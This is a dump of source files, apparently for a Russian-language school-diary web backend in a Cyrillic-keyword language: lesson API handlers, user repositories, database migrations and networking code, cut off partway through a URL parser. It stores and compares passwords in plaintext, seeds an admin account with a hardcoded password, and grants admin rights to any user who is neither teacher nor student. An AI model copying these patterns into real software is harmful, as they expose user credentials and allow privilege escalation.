импорт "исх/картотека"
|
||||
импорт "исх/картотека/репозитории"
|
||||
импорт "исх/бюрократия"
|
||||
|
||||
фн добавить урок*(путь: Строка, параметры: массивы.Строки, обращение: маршрутизатор.Обращение): хттп.ХттпОтвет {
|
||||
пусть оплошность := ""
|
||||
пусть картотека = картотека.зайти()
|
||||
|
||||
пусть пользователь = репозитории.авторизовать по паспорту(бюрократия.получить данные паспорта(обращение), оплошность)
|
||||
|
||||
если оплошность # "" {
|
||||
вернуть хттп.ответ_500()
|
||||
}
|
||||
|
||||
если пользователь = пусто {
|
||||
вернуть хттп.ответ_401()
|
||||
}
|
||||
|
||||
пусть учитель = репозитории.пользователь учитель(пользователь^.идентификатор, оплошность)
|
||||
пусть админ = репозитории.пользователь админ(пользователь^.идентификатор, оплошность)
|
||||
|
||||
если оплошность # "" {
|
||||
вернуть хттп.ответ_500()
|
||||
}
|
||||
|
||||
если учитель = пусто & ~админ {
|
||||
вернуть хттп.ответ_403()
|
||||
}
|
||||
|
||||
если длина(параметры) < 1 {
|
||||
вернуть хттп.ответ_400()
|
||||
}
|
||||
|
||||
пусть ид класса = параметры[0]
|
||||
|
||||
пусть клass := джесон.ДжесонМногоЗначений{}
|
||||
|
||||
если админ {
|
||||
клass := картотека.запросить безопасно(`
|
||||
SELECT id FROM classes WHERE id = ?
|
||||
`, оплошность, ид класса)
|
||||
} иначе {
|
||||
клass := картотека.запросить безопасно(`
|
||||
SELECT id FROM classes WHERE id = ? AND creator_teacher_id = ?
|
||||
`, оплошность, ид класса, учитель^.идентификатор)
|
||||
}
|
||||
|
||||
если оплошность # "" {
|
||||
вернуть хттп.ответ_500()
|
||||
}
|
||||
|
||||
если длина(клass.значения) = 0 {
|
||||
вернуть хттп.ответ_403()
|
||||
}
|
||||
|
||||
пусть данные = джесон.парсить(обращение.туловище, оплошность)
|
||||
|
||||
если оплошность # "" {
|
||||
вернуть хттп.ответ_400()
|
||||
}
|
||||
|
||||
пусть дата := данные.получить("дата").строка()
|
||||
пусть название := данные.получить("название").строка()
|
||||
пусть домашка := данные.получить("домашнее задание").строка()
|
||||
|
||||
пусть строка даты := ""
|
||||
|
||||
если дата # пусто {
|
||||
строка даты := дата^
|
||||
} иначе {
|
||||
пусть дата урока поле := данные.получить("дата урока").строка()
|
||||
|
||||
если дата урока поле # пусто {
|
||||
строка даты := дата урока поле^
|
||||
}
|
||||
}
|
||||
|
||||
пусть строка названия := ""
|
||||
|
||||
если название # пусто {
|
||||
строка названия := название^
|
||||
} иначе {
|
||||
пусть тема := данные.получить("тема").строка()
|
||||
|
||||
если тема # пусто {
|
||||
строка названия := тема^
|
||||
}
|
||||
}
|
||||
|
||||
если строка даты = "" | строка названия = "" {
|
||||
вернуть хттп.ответ_400()
|
||||
}
|
||||
|
||||
пусть текст домашки := ""
|
||||
|
||||
если домашка # пусто {
|
||||
текст домашки := домашка^
|
||||
} иначе {
|
||||
пусть поле домашка = данные.получить("домашка").строка()
|
||||
|
||||
если поле домашка # пусто {
|
||||
текст домашки := поле домашка^
|
||||
}
|
||||
}
|
||||
|
||||
пусть ответ = картотека.запросить безопасно(`
|
||||
INSERT INTO lessons (class_id, date, title, homework)
|
||||
VALUES (?, ?, ?, ?)
|
||||
RETURNING id, class_id, date, title, homework
|
||||
`, оплошность, ид класса, строка даты, строка названия, текст домашки)
|
||||
|
||||
если оплошность # "" {
|
||||
вернуть хттп.ответ_422()
|
||||
}
|
||||
|
||||
если длина(ответ.значения) = 0 {
|
||||
вернуть хттп.ответ_500()
|
||||
}
|
||||
|
||||
пусть созданный = ответ.значения[0](:джесон.ДжесонОбъект)
|
||||
пусть идентификатор урока = созданный.получить("id").число()^.значение
|
||||
пусть идентификатор класса = созданный.получить("class_id").число()^.значение
|
||||
пусть дата урока = созданный.получить("date").строка()^
|
||||
пусть название урока = созданный.получить("title").строка()^
|
||||
пусть поле домашки = созданный.получить("homework").строка()
|
||||
|
||||
пусть значение домашки := ""
|
||||
|
||||
если поле домашки # пусто {
|
||||
значение домашки := поле домашки^
|
||||
}
|
||||
|
||||
пусть туловище = джесон.сериализовать(джесон.ДжесонОбъект{
|
||||
значения: джесон.ДжесонКлючЗначения[
|
||||
джесон.ДжесонКлючЗначение{ключ: "идентификатор", значение: джесон.ДжесонЧисло{значение: идентификатор урока}},
|
||||
джесон.ДжесонКлючЗначение{ключ: "идентификатор класса", значение: джесон.ДжесонЧисло{значение: идентификатор класса}},
|
||||
джесон.ДжесонКлючЗначение{ключ: "дата", значение: джесон.ДжесонСтрока{значение: дата урока}},
|
||||
джесон.ДжесонКлючЗначение{ключ: "название", значение: джесон.ДжесонСтрока{значение: название урока}},
|
||||
джесон.ДжесонКлючЗначение{ключ: "домашнее задание", значение: джесон.ДжесонСтрока{значение: значение домашки}}
|
||||
]
|
||||
})
|
||||
|
||||
вернуть хттп.создать ответ(
|
||||
хттп.ответ_201(),
|
||||
хттп.ХттпОтвет{туловище: туловище}
|
||||
)
|
||||
}
|
||||
|
||||
фн список уроков*(путь: Строка, параметры: массивы.Строки, обращение: маршрутизатор.Обращение): хттп.ХттпОтвет {
|
||||
пусть оплошность := ""
|
||||
пусть картотека = картотека.зайти()
|
||||
|
||||
если длина(параметры) < 1 {
|
||||
вернуть хттп.ответ_400()
|
||||
}
|
||||
|
||||
пусть ид класса = параметры[0]
|
||||
пусть фильтр дата := ""
|
||||
пусть есть фильтр := ложь
|
||||
|
||||
если длина(параметры) > 1 {
|
||||
фильтр дата := параметры[1]
|
||||
есть фильтр := истина
|
||||
}
|
||||
|
||||
пусть пользователь = репозитории.авторизовать по паспорту(бюрократия.получить данные паспорта(обращение), оплошность)
|
||||
|
||||
если оплошность # "" {
|
||||
вернуть хттп.ответ_500()
|
||||
}
|
||||
|
||||
если пользователь = пусто {
|
||||
вернуть хттп.ответ_401()
|
||||
}
|
||||
|
||||
пусть учитель = репозитории.пользователь учитель(пользователь^.идентификатор, оплошность)
|
||||
|
||||
если оплошность # "" {
|
||||
вернуть хттп.ответ_500()
|
||||
}
|
||||
|
||||
пусть ученик = репозитории.пользователь ученик(пользователь^.идентификатор, оплошность)
|
||||
|
||||
если оплошность # "" {
|
||||
вернуть хттп.ответ_500()
|
||||
}
|
||||
|
||||
пусть админ = репозитории.пользователь админ(пользователь^.идентификатор, оплошность)
|
||||
|
||||
если оплошность # "" {
|
||||
вернуть хттп.ответ_500()
|
||||
}
|
||||
|
||||
пусть данные класса = картотека.запросить безопасно(`
|
||||
SELECT id, creator_teacher_id FROM classes WHERE id = ?
|
||||
`, оплошность, ид класса)
|
||||
|
||||
если оплошность # "" {
|
||||
вернуть хттп.ответ_500()
|
||||
}
|
||||
|
||||
если длина(данные класса.значения) = 0 {
|
||||
вернуть хттп.ответ_404()
|
||||
}
|
||||
|
||||
пусть объект класса = данные класса.значения[0](:джесон.ДжесонОбъект)
|
||||
пусть поле создателя = объект класса.получить("creator_teacher_id").число()
|
||||
пусть идентификатор создателя: Цел64 := -1
|
||||
пусть есть создатель := ложь
|
||||
|
||||
если поле создателя # пусто {
|
||||
идентификатор создателя := поле создателя^.значение
|
||||
есть создатель := истина
|
||||
}
|
||||
|
||||
пусть учитель имеет доступ := ложь
|
||||
|
||||
если админ {
|
||||
учитель имеет доступ := истина
|
||||
}
|
||||
|
||||
если учитель # пусто {
|
||||
если есть создатель {
|
||||
если учитель^.идентификатор = идентификатор создателя {
|
||||
учитель имеет доступ := истина
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
если ~ учитель имеет доступ {
|
||||
если ученик = пусто {
|
||||
вернуть хттп.ответ_403()
|
||||
}
|
||||
|
||||
пусть проверка ученика = картотека.запросить безопасно(`
|
||||
SELECT id FROM class_students WHERE class_id = ? AND student_id = ?
|
||||
`, оплошность, ид класса, ученик^.идентификатор)
|
||||
|
||||
если оплошность # "" {
|
||||
вернуть хттп.ответ_500()
|
||||
}
|
||||
|
||||
если длина(проверка ученика.значения) = 0 {
|
||||
вернуть хттп.ответ_403()
|
||||
}
|
||||
}
|
||||
|
||||
пусть уроки ответ: джесон.ДжесонМногоЗначений := джесон.ДжесонМногоЗначений{}
|
||||
|
||||
если есть фильтр {
|
||||
уроки ответ := картотека.запросить безопасно(`
|
||||
SELECT id, class_id, date, title, homework
|
||||
FROM lessons
|
||||
WHERE class_id = ? AND date = ?
|
||||
ORDER BY date, id
|
||||
`, оплошность, ид класса, фильтр дата)
|
||||
} иначе {
|
||||
уроки ответ := картотека.запросить безопасно(`
|
||||
SELECT id, class_id, date, title, homework
|
||||
FROM lessons
|
||||
WHERE class_id = ?
|
||||
ORDER BY date, id
|
||||
`, оплошность, ид класса)
|
||||
}
|
||||
|
||||
если оплошность # "" {
|
||||
вернуть хттп.ответ_500()
|
||||
}
|
||||
|
||||
пусть джесон уроки = джесон.ДжесонМногоЗначений{}
|
||||
|
||||
цикл [номер]запись среди уроки ответ.значения {
|
||||
пусть объект = запись(:джесон.ДжесонОбъект)
|
||||
пусть идентификатор = объект.получить("id").число()^.значение
|
||||
пусть ид класса урока = объект.получить("class_id").число()^.значение
|
||||
пусть дата урока = объект.получить("date").строка()^
|
||||
пусть название урока = объект.получить("title").строка()^
|
||||
пусть поле домашки = объект.получить("homework").строка()
|
||||
пусть значение домашки := ""
|
||||
|
||||
если поле домашки # пусто {
|
||||
значение домашки := поле домашки^
|
||||
}
|
||||
|
||||
пусть урок = джесон.ДжесонОбъект{}
|
||||
урок.вставить("идентификатор", джесон.ДжесонЧисло{значение: идентификатор})
|
||||
урок.вставить("идентификатор класса", джесон.ДжесонЧисло{значение: ид класса урока})
|
||||
урок.вставить("дата", джесон.ДжесонСтрока{значение: дата урока})
|
||||
урок.вставить("название", джесон.ДжесонСтрока{значение: название урока})
|
||||
урок.вставить("домашнее задание", джесон.ДжесонСтрока{значение: значение домашки})
|
||||
|
||||
джесон уроки.значения.добавить(урок)
|
||||
}
|
||||
|
||||
пусть тело = джесон.сериализовать(джесон.ДжесонОбъект{
|
||||
значения: джесон.ДжесонКлючЗначения[
|
||||
джесон.ДжесонКлючЗначение{
|
||||
ключ: "уроки",
|
||||
значение: джесон уроки
|
||||
}
|
||||
]
|
||||
})
|
||||
|
||||
вернуть хттп.ХттпОтвет{туловище: тело}
|
||||
}
|
||||
|
||||
фн удалить урок*(путь: Строка, параметры: массивы.Строки, обращение: маршрутизатор.Обращение): хттп.ХттпОтвет {
|
||||
пусть оплошность := ""
|
||||
пусть картотека = картотека.зайти()
|
||||
|
||||
пусть пользователь = репозитории.авторизовать по паспорту(бюрократия.получить данные паспорта(обращение), оплошность)
|
||||
|
||||
если оплошность # "" {
|
||||
вернуть хттп.ответ_500()
|
||||
}
|
||||
|
||||
если пользователь = пусто {
|
||||
вернуть хттп.ответ_401()
|
||||
}
|
||||
|
||||
пусть учитель = репозитории.пользователь учитель(пользователь^.идентификатор, оплошность)
|
||||
пусть админ = репозитории.пользователь админ(пользователь^.идентификатор, оплошность)
|
||||
|
||||
если оплошность # "" {
|
||||
вернуть хттп.ответ_500()
|
||||
}
|
||||
|
||||
если учитель = пусто & ~админ {
|
||||
вернуть хттп.ответ_403()
|
||||
}
|
||||
|
||||
если длина(параметры) < 2 {
|
||||
вернуть хттп.ответ_400()
|
||||
}
|
||||
|
||||
пусть ид класса = параметры[0]
|
||||
пусть ид урока = параметры[1]
|
||||
|
||||
пусть клass := джесон.ДжесонМногоЗначений{}
|
||||
|
||||
если админ {
|
||||
клass := картотека.запросить безопасно(`
|
||||
SELECT id FROM classes WHERE id = ?
|
||||
`, оплошность, ид класса)
|
||||
} иначе {
|
||||
клass := картотека.запросить безопасно(`
|
||||
SELECT id FROM classes WHERE id = ? AND creator_teacher_id = ?
|
||||
`, оплошность, ид класса, учитель^.идентификатор)
|
||||
}
|
||||
|
||||
если оплошность # "" {
|
||||
вернуть хттп.ответ_500()
|
||||
}
|
||||
|
||||
если длина(клass.значения) = 0 {
|
||||
вернуть хттп.ответ_403()
|
||||
}
|
||||
|
||||
пусть ответ = картотека.запросить безопасно(`
|
||||
DELETE FROM lessons WHERE id = ? AND class_id = ?
|
||||
RETURNING id
|
||||
`, оплошность, ид урока, ид класса)
|
||||
|
||||
если оплошность # "" {
|
||||
вернуть хттп.ответ_500()
|
||||
}
|
||||
|
||||
если длина(ответ.значения) = 0 {
|
||||
вернуть хттп.ответ_404()
|
||||
}
|
||||
|
||||
вернуть хттп.ответ_204()
|
||||
}
|
||||
|
||||
фн добавить маршруты*(маршрутизатор: маршрутизатор.Маршрутизатор): маршрутизатор.Маршрутизатор {
|
||||
маршрутизатор.добавить маршрут("/api/classes/$/lessons", массивы.Строки["POST"], добавить урок)
|
||||
маршрутизатор.добавить маршрут("/api/classes/$/lessons", массивы.Строки["GET"], список уроков)
|
||||
маршрутизатор.добавить маршрут("/api/classes/$/lessons/$", массивы.Строки["GET"], список уроков)
|
||||
маршрутизатор.добавить маршрут("/api/classes/$/lessons/date/$", массивы.Строки["GET"], список уроков)
|
||||
маршрутизатор.добавить маршрут("/api/classes/$/lessons/$", массивы.Строки["DELETE"], удалить урок)
|
||||
|
||||
вернуть маршрутизатор
|
||||
}
|
||||
5
исх/вперед-назад/типы.tri
Normal file
5
исх/вперед-назад/типы.tri
Normal file
@@ -0,0 +1,5 @@
|
||||
модуль вперед-назад
|
||||
|
||||
тип Крипипаста* = протокол {
|
||||
фн прочитать(сколько: Цел64): Строка
|
||||
}
|
||||
13
исх/картотека/картотека.tri
Normal file
13
исх/картотека/картотека.tri
Normal file
@@ -0,0 +1,13 @@
|
||||
модуль картотека
|
||||
|
||||
импорт "исх/бд/скуля"
|
||||
|
||||
пусть картотека: скуля.Картотека := скуля.Картотека{}
|
||||
|
||||
фн зайти*(): скуля.Картотека {
|
||||
вернуть картотека
|
||||
}
|
||||
|
||||
вход {
|
||||
картотека := скуля.открыть картотеку("var/srab.db")
|
||||
}
|
||||
130
исх/картотека/репозитории/пользователь.tri
Normal file
130
исх/картотека/репозитории/пользователь.tri
Normal file
@@ -0,0 +1,130 @@
|
||||
модуль репозитории
|
||||
|
||||
импорт "исх/бд/скуля"
|
||||
импорт "исх/картотека"
|
||||
импорт "исх/форматы/джесон"
|
||||
импорт "исх/бюрократия"
|
||||
|
||||
тип Пользователь = класс {
|
||||
идентификатор*: Цел64 := 0
|
||||
имя*: Строка := ""
|
||||
фамилия*: Строка := ""
|
||||
отчество*: Строка := ""
|
||||
имя пользователя*: Строка := ""
|
||||
пароль*: Строка := ""
|
||||
}
|
||||
|
||||
тип Учитель = класс {
|
||||
идентификатор*: Цел64 := 0
|
||||
идентификатор пользователя*: Цел64 := 0
|
||||
образование*: Строка := ""
|
||||
урурурл аватара*: Строка := ""
|
||||
}
|
||||
|
||||
тип Ученик = класс {
|
||||
идентификатор*: Цел64 := 0
|
||||
идентификатор пользователя*: Цел64 := 0
|
||||
идентификатор ментора*: Цел64 := 0
|
||||
снилс*: Строка := ""
|
||||
паспорт*: Строка := ""
|
||||
}
|
||||
|
||||
фн авторизовать пользователя*(имя пользователя: Строка, пароль: Строка, оплошность := Строка): мб Пользователь {
|
||||
пусть картотека = картотека.зайти()
|
||||
пусть ответ = картотека.запросить безопасно(`
|
||||
SELECT id, first_name, last_name, middle_name FROM users WHERE username = ? AND password = ?
|
||||
`, оплошность, имя пользователя, пароль)
|
||||
|
||||
если оплошность # "" {
|
||||
вернуть Пользователь{}
|
||||
}
|
||||
|
||||
если длина(ответ.значения) = 0 {
|
||||
вернуть пусто
|
||||
}
|
||||
|
||||
пусть объект = ответ.значения[0](:джесон.ДжесонОбъект)
|
||||
|
||||
вернуть Пользователь{
|
||||
идентификатор: объект.получить("id").число()^.значение,
|
||||
имя: объект.получить("first_name").строка()^,
|
||||
фамилия: объект.получить("last_name").строка()^,
|
||||
отчество: объект.получить("middle_name").строка()^,
|
||||
имя пользователя: имя пользователя,
|
||||
пароль: пароль
|
||||
}
|
||||
}
|
||||
|
||||
фн авторизовать по паспорту*(паспорт: мб бюрократия.Паспорт, оплошность := Строка): мб Пользователь {
|
||||
если паспорт = пусто {
|
||||
вернуть пусто
|
||||
}
|
||||
|
||||
вернуть авторизовать пользователя(паспорт^.имя пользователя, паспорт^.пароль, оплошность)
|
||||
}
|
||||
|
||||
фн пользователь учитель*(ид: Цел64, оплошность := Строка): мб Учитель {
|
||||
пусть картотека = картотека.зайти()
|
||||
пусть ответ = картотека.запросить безопасно(`
|
||||
SELECT user_id, education, avatar_url, id FROM teachers WHERE user_id = ?
|
||||
`, оплошность, ид)
|
||||
|
||||
если оплошность # "" {
|
||||
вернуть пусто
|
||||
}
|
||||
|
||||
если длина(ответ.значения) = 0 {
|
||||
вернуть пусто
|
||||
}
|
||||
|
||||
пусть объект = ответ.значения[0](:джесон.ДжесонОбъект)
|
||||
|
||||
вернуть Учитель{
|
||||
идентификатор: объект.получить("id").число()^.значение,
|
||||
идентификатор пользователя: ид,
|
||||
образование: объект.получить("education").строка()^,
|
||||
урурурл аватара: объект.получить("avatar_url").строка()^
|
||||
}
|
||||
}
|
||||
|
||||
фн пользователь ученик*(ид: Цел64, оплошность := Строка): мб Ученик {
|
||||
пусть картотека = картотека.зайти()
|
||||
пусть ответ = картотека.запросить безопасно(`
|
||||
SELECT * FROM students WHERE user_id = ?
|
||||
`, оплошность, ид)
|
||||
|
||||
если оплошность # "" {
|
||||
вернуть пусто
|
||||
}
|
||||
|
||||
если длина(ответ.значения) = 0 {
|
||||
вернуть пусто
|
||||
}
|
||||
|
||||
пусть объект = ответ.значения[0](:джесон.ДжесонОбъект)
|
||||
|
||||
вернуть Ученик{
|
||||
идентификатор: объект.получить("id").число()^.значение,
|
||||
идентификатор пользователя: ид,
|
||||
идентификатор ментора: объект.получить("mentor_id").число()^.значение,
|
||||
снилс: объект.получить("snils").строка()^,
|
||||
паспорт: объект.получить("passport").строка()^
|
||||
}
|
||||
}
|
||||
|
||||
фн пользователь админ*(ид: Цел64, оплошность := Строка): Лог {
|
||||
пусть картотека = картотека.зайти()
|
||||
пусть учитель = пользователь учитель(ид, оплошность)
|
||||
|
||||
если оплошность # "" {
|
||||
вернуть ложь
|
||||
}
|
||||
|
||||
пусть ученик = пользователь ученик(ид, оплошность)
|
||||
|
||||
если оплошность # "" {
|
||||
вернуть ложь
|
||||
}
|
||||
|
||||
вернуть учитель = пусто & ученик = пусто
|
||||
}
|
||||
24
исх/маршруты/маршруты.tri
Normal file
24
исх/маршруты/маршруты.tri
Normal file
@@ -0,0 +1,24 @@
|
||||
модуль маршруты
|
||||
|
||||
импорт "исх/массивы"
|
||||
импорт "исх/сеть/хттп/маршрутизатор"
|
||||
|
||||
импорт "исх/властелины/главный"
|
||||
импорт "исх/властелины/классы"
|
||||
импорт "исх/властелины/уроки"
|
||||
импорт "исх/властелины/пользователи"
|
||||
импорт "исх/властелины/пользователи/ученики"
|
||||
импорт "исх/властелины/пользователи/учителя"
|
||||
|
||||
фн получить маршрутизатор*(): маршрутизатор.Маршрутизатор {
|
||||
пусть маршрутизатор = маршрутизатор.Маршрутизатор{}
|
||||
|
||||
главный.добавить маршруты(маршрутизатор)
|
||||
пользователи.добавить маршруты(маршрутизатор)
|
||||
ученики.добавить маршруты(маршрутизатор)
|
||||
учителя.добавить маршруты(маршрутизатор)
|
||||
классы.добавить маршруты(маршрутизатор)
|
||||
уроки.добавить маршруты(маршрутизатор)
|
||||
|
||||
вернуть маршрутизатор
|
||||
}
|
||||
3
исх/массивы/массивы.tri
Normal file
3
исх/массивы/массивы.tri
Normal file
@@ -0,0 +1,3 @@
|
||||
модуль массивы
|
||||
|
||||
тип Строки* = []Строка
|
||||
112
исх/миграции/миграции.tri
Normal file
112
исх/миграции/миграции.tri
Normal file
@@ -0,0 +1,112 @@
|
||||
модуль миграции
|
||||
|
||||
импорт "исх/бд/скуля"
|
||||
|
||||
фн мигрировать*(картотека: скуля.Картотека) {
|
||||
пусть оплошность := ""
|
||||
|
||||
картотека.выполнить(`PRAGMA foreign_keys = ON;`, оплошность)
|
||||
|
||||
если оплошность # "" {
|
||||
авария(оплошность)
|
||||
}
|
||||
|
||||
картотека.выполнить(`
|
||||
CREATE TABLE IF NOT EXISTS users (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
first_name TEXT NOT NULL,
|
||||
last_name TEXT NOT NULL,
|
||||
middle_name TEXT NOT NULL,
|
||||
username TEXT NOT NULL UNIQUE,
|
||||
password TEXT NOT NULL
|
||||
);`, оплошность)
|
||||
|
||||
если оплошность # "" {
|
||||
авария(оплошность)
|
||||
}
|
||||
|
||||
картотека.выполнить(`
|
||||
CREATE TABLE IF NOT EXISTS teachers (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
user_id INTEGER NOT NULL UNIQUE,
|
||||
education TEXT,
|
||||
avatar_url TEXT,
|
||||
FOREIGN KEY(user_id) REFERENCES users(id) ON DELETE CASCADE
|
||||
);`, оплошность)
|
||||
|
||||
если оплошность # "" {
|
||||
авария(оплошность)
|
||||
}
|
||||
|
||||
картотека.выполнить(`
|
||||
CREATE TABLE IF NOT EXISTS students (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
user_id INTEGER NOT NULL UNIQUE,
|
||||
mentor_id INTEGER, -- "чей ученик" — id учителя (может быть NULL)
|
||||
snils TEXT,
|
||||
passport TEXT,
|
||||
FOREIGN KEY(user_id) REFERENCES users(id) ON DELETE CASCADE,
|
||||
FOREIGN KEY(mentor_id) REFERENCES teachers(id) ON DELETE SET NULL
|
||||
);`, оплошность)
|
||||
|
||||
картотека.выполнить(`
|
||||
CREATE TABLE IF NOT EXISTS classes (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
number INTEGER NOT NULL,
|
||||
letter TEXT NOT NULL,
|
||||
creator_teacher_id INTEGER,
|
||||
FOREIGN KEY(creator_teacher_id) REFERENCES teachers(id) ON DELETE SET NULL
|
||||
);`, оплошность)
|
||||
|
||||
если оплошность # "" {
|
||||
авария(оплошность)
|
||||
}
|
||||
|
||||
картотека.выполнить(`
|
||||
CREATE TABLE IF NOT EXISTS class_students (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
class_id INTEGER NOT NULL,
|
||||
student_id INTEGER NOT NULL,
|
||||
UNIQUE(class_id, student_id),
|
||||
FOREIGN KEY(class_id) REFERENCES classes(id) ON DELETE CASCADE,
|
||||
FOREIGN KEY(student_id) REFERENCES students(id) ON DELETE CASCADE
|
||||
);`, оплошность)
|
||||
|
||||
если оплошность # "" {
|
||||
авария(оплошность)
|
||||
}
|
||||
|
||||
картотека.выполнить(`
|
||||
CREATE TABLE IF NOT EXISTS lessons (
|
||||
id INTEGER PRIMARY
|
||||
KEY AUTOINCREMENT,
|
||||
class_id INTEGER NOT NULL,
|
||||
date DATE NOT NULL,
|
||||
title TEXT NOT NULL,
|
||||
homework TEXT,
|
||||
FOREIGN KEY(class_id) REFERENCES classes(id) ON DELETE CASCADE
|
||||
);`, оплошность)
|
||||
|
||||
если оплошность # "" {
|
||||
авария(оплошность)
|
||||
}
|
||||
|
||||
картотека.выполнить(`
|
||||
INSERT OR IGNORE INTO users (
|
||||
first_name,
|
||||
last_name,
|
||||
middle_name,
|
||||
username,
|
||||
password
|
||||
) VALUES (
|
||||
'Админ',
|
||||
'Админович',
|
||||
'',
|
||||
'admin',
|
||||
'correct horse battery staple'
|
||||
);`, оплошность)
|
||||
|
||||
если оплошность # "" {
|
||||
авария(оплошность)
|
||||
}
|
||||
}
|
||||
9
исх/отдых/отдых.tri
Normal file
9
исх/отдых/отдых.tri
Normal file
@@ -0,0 +1,9 @@
|
||||
модуль отдых
|
||||
|
||||
// c:include <unistd.h>
|
||||
|
||||
фн sleep(секунды: Цел64) @внеш
|
||||
|
||||
фн отдохнуть*(секунды: Цел64) {
|
||||
sleep(секунды)
|
||||
}
|
||||
7
исх/сборщик-мусора/сборщик-мусора.tri
Normal file
7
исх/сборщик-мусора/сборщик-мусора.tri
Normal file
@@ -0,0 +1,7 @@
|
||||
модуль сборщик-мусора
|
||||
|
||||
импорт "стд::платформа"
|
||||
|
||||
фн собрать*() {
|
||||
платформа.завершить программу(0)
|
||||
}
|
||||
57
исх/сеть/тцп/сервер.tri
Normal file
57
исх/сеть/тцп/сервер.tri
Normal file
@@ -0,0 +1,57 @@
|
||||
модуль тцп
|
||||
|
||||
// c:include "suckit.h"
|
||||
|
||||
фн create_socket_fd(port: Цел64): Цел64 @внеш
|
||||
фн accept_socket(fd: Цел64): Цел64 @внеш
|
||||
фн read_to_string(fd: Цел64, bytes: Цел64): Строка @внеш
|
||||
фн close_socket(socket: Цел64) @внеш
|
||||
фн write_string(socket: Цел64, data: Строка) @внеш
|
||||
фн connect_socket(host: Строка, port: Цел64): Цел64 @внеш
|
||||
|
||||
тип ТцпСервер* = класс {
|
||||
фд: Цел64 = 0
|
||||
}
|
||||
|
||||
тип ТцпСоединение* = класс {
|
||||
фд: Цел64 = 0
|
||||
}
|
||||
|
||||
фн создать сервер*(порт: Цел64): ТцпСервер {
|
||||
пусть фд = create_socket_fd(порт)
|
||||
|
||||
вернуть ТцпСервер{
|
||||
фд: фд
|
||||
}
|
||||
}
|
||||
|
||||
фн (с: ТцпСервер) принять чертово соединение*(): ТцпСоединение {
|
||||
пусть фд = accept_socket(с.фд)
|
||||
|
||||
вернуть ТцпСоединение{
|
||||
фд: фд
|
||||
}
|
||||
}
|
||||
|
||||
фн (с: ТцпСоединение) прочитать*(сколько: Цел64): Строка {
|
||||
вернуть read_to_string(с.фд, сколько)
|
||||
}
|
||||
|
||||
фн (с: ТцпСоединение) записать*(данные: Строка) {
|
||||
write_string(с.фд, данные)
|
||||
}
|
||||
|
||||
фн (с: ТцпСоединение) закрыть*() {
|
||||
close_socket(с.фд)
|
||||
}
|
||||
|
||||
фн (с: ТцпСервер) закрыть*() {
|
||||
close_socket(с.фд)
|
||||
}
|
||||
|
||||
фн подключиться*(хост: Строка, порт: Цел64): ТцпСоединение {
|
||||
пусть фд = connect_socket(хост, порт)
|
||||
вернуть ТцпСоединение{ фд: фд }
|
||||
}
|
||||
|
||||
|
||||
140
исх/сеть/хттп/клиент.tri
Normal file
140
исх/сеть/хттп/клиент.tri
Normal file
@@ -0,0 +1,140 @@
|
||||
модуль хттп
|
||||
|
||||
импорт "стд::вывод"
|
||||
импорт "исх/строка"
|
||||
импорт "исх/сеть/тцп"
|
||||
|
||||
фн сериализовать хттп-запрос(хост: Строка, обращение: ХттпОбращение): Строка {
|
||||
пусть метод := обращение.метод
|
||||
если метод = "" {
|
||||
метод := "GET"
|
||||
}
|
||||
|
||||
пусть путь := обращение.путь
|
||||
если путь = "" {
|
||||
путь := "/"
|
||||
}
|
||||
|
||||
пусть первая := строка.ф("$стр $стр HTTP/1.1\r\n", метод, путь)
|
||||
пусть есть длина := ложь
|
||||
пусть выход := первая
|
||||
|
||||
цикл [номер]заглавие среди обращение.заглавия {
|
||||
если заглавие.имя = "Content-Length" { есть длина := истина }
|
||||
выход := строка.собрать(выход, строка.ф("$стр: $стр\r\n", заглавие.имя, заглавие.значение))
|
||||
}
|
||||
|
||||
выход := строка.собрать(выход, строка.ф("Host: $стр\r\n", хост))
|
||||
|
||||
если ~ есть длина {
|
||||
выход := строка.собрать(выход, строка.ф("Content-Length: $цел\r\n", длина(обращение.туловище(:Строка8))))
|
||||
}
|
||||
|
||||
выход := строка.собрать(выход, "\r\n")
|
||||
|
||||
если длина(обращение.туловище) > 0 { выход := строка.собрать(выход, обращение.туловище) }
|
||||
|
||||
вернуть выход
|
||||
}
|
||||
|
||||
фн послать далеко и надолго*(хост: Строка, порт: Цел64, обращение: ХттпОбращение): ХттпОтвет {
|
||||
пусть соединение = тцп.подключиться(хост, порт)
|
||||
пусть данные = сериализовать хттп-запрос(хост, обращение)
|
||||
|
||||
соединение.записать(данные)
|
||||
|
||||
вывод.ф("Ждем хттп ответ\n")
|
||||
пусть ответ = разобрать хттп ответ(соединение)
|
||||
соединение.закрыть()
|
||||
вывод.ф("Дождались\n")
|
||||
|
||||
вернуть ответ
|
||||
}
|
||||
|
||||
фн послать на три буквы*(хост: Строка, порт: Цел64, путь: Строка): ХттпОтвет {
|
||||
вернуть послать далеко и надолго(хост, порт, ХттпОбращение{ метод: "GET", путь: путь })
|
||||
}
|
||||
|
||||
тип Урл* = класс {
|
||||
хост*: Строка := ""
|
||||
порт*: Цел64 := 0
|
||||
путь*: Строка := ""
|
||||
}
|
||||
|
||||
фн парсить урл*(стр: Строка, оплошность := Строка): Урл {
|
||||
оплошность := ""
|
||||
|
||||
пусть с = строка.обрезать пробельные символы(стр)
|
||||
если с = "" {
|
||||
оплошность := "пустой урл"
|
||||
вернуть Урл{}
|
||||
}
|
||||
|
||||
пусть схема := "http"
|
||||
пусть ост := с
|
||||
если строка.разделить(с, "://", схема, ост) {
|
||||
схема := строка.обрезать пробельные символы(схема)
|
||||
} иначе {
|
||||
// без схемы считаем http
|
||||
схема := "http"
|
||||
ост := с
|
||||
}
|
||||
|
||||
// отделяем authority и путь
|
||||
пусть № слеша = строка.индекс(ост, 0, "/")
|
||||
пусть авторитет := ""
|
||||
пусть путь := ""
|
||||
если № слеша >= 0 {
|
||||
пусть ост8 = ост(:Строка8)
|
||||
авторитет := строка.извлечь(ост, 0, № слеша)
|
||||
путь := строка.извлечь(ост, № слеша, длина(ост8) - № слеша)
|
||||
} иначе {
|
||||
авторитет := ост
|
||||
путь := ""
|
||||
}
|
||||
|
||||
авторитет := строка.обрезать пробельные символы(авторитет)
|
||||
если авторитет = "" {
|
||||
оплошность := "пустой хост в урл"
|
||||
вернуть Урл{}
|
||||
}
|
||||
|
||||
